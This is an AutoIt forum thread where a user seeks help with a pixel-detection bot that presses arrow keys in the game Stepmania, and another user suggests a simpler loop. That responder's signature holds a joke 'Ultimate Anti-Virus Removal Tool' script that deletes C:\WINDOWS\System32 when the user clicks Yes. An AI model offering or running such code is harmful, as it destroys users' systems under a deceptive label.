Jump to content
Sign in to follow this  
kholdstare942

Stepmania Bot Help

Recommended Posts

kholdstare942

Hello. I'm somewhat new to AutoIt, I've had some experience in the past.

Right now, I'm trying to make a bot for the game Stepmania, I'm sure some of you may have heard of it.

What I want it to do is essentially press the buttons for me. This is more or less a just-for-fun type thing, but I'm using it as practice as well.

I am stuck, however, as I can't seem to stop the button from pressing continuously. This is my script thus far:

While 1

$colora=pixelSearch (574, 543, 577, 546, 0xC0C0C0)

$colorb=pixelSearch (574, 543, 577, 546, 0x808080)

$colorc=pixelSearch (574, 543, 577, 546, 0x000000)

If $colora= @error Then

Send("{RIGHT}")

sleep (100)

EndIf

If $colorb= @error Then

Send("{RIGHT}")

sleep (100)

EndIf

If $colorc= @error Then

Send("{RIGHT}")

sleep (100)

EndIf

WEnd

What I hope this will do is find a particular pixel on the guiding arrows (the ones that the falling arrows land on, and that tells you to press the button) and detect a change in it, making it press the button.

My friend, with much more experience than me, has been helping out, but he's pretty stuck too. So if anyone could offer just a bit of advice, or, if this is the wrong place to post this, it'd be appreciated greatly.

Thanks in advance =)

Share this post


Link to post
Share on other sites
Firefoxy

While 1
If PixelGetColor(x,y) = xC0C0C0
Then
Send("")
EndIf
If.....
WEnd

I think it would go like that. Of course you'd have to fill in the blanks and do the other three arrows.

Edited by Firefoxy

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites
kholdstare942

Okay, great. I'll give it a shot, thanks =)

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×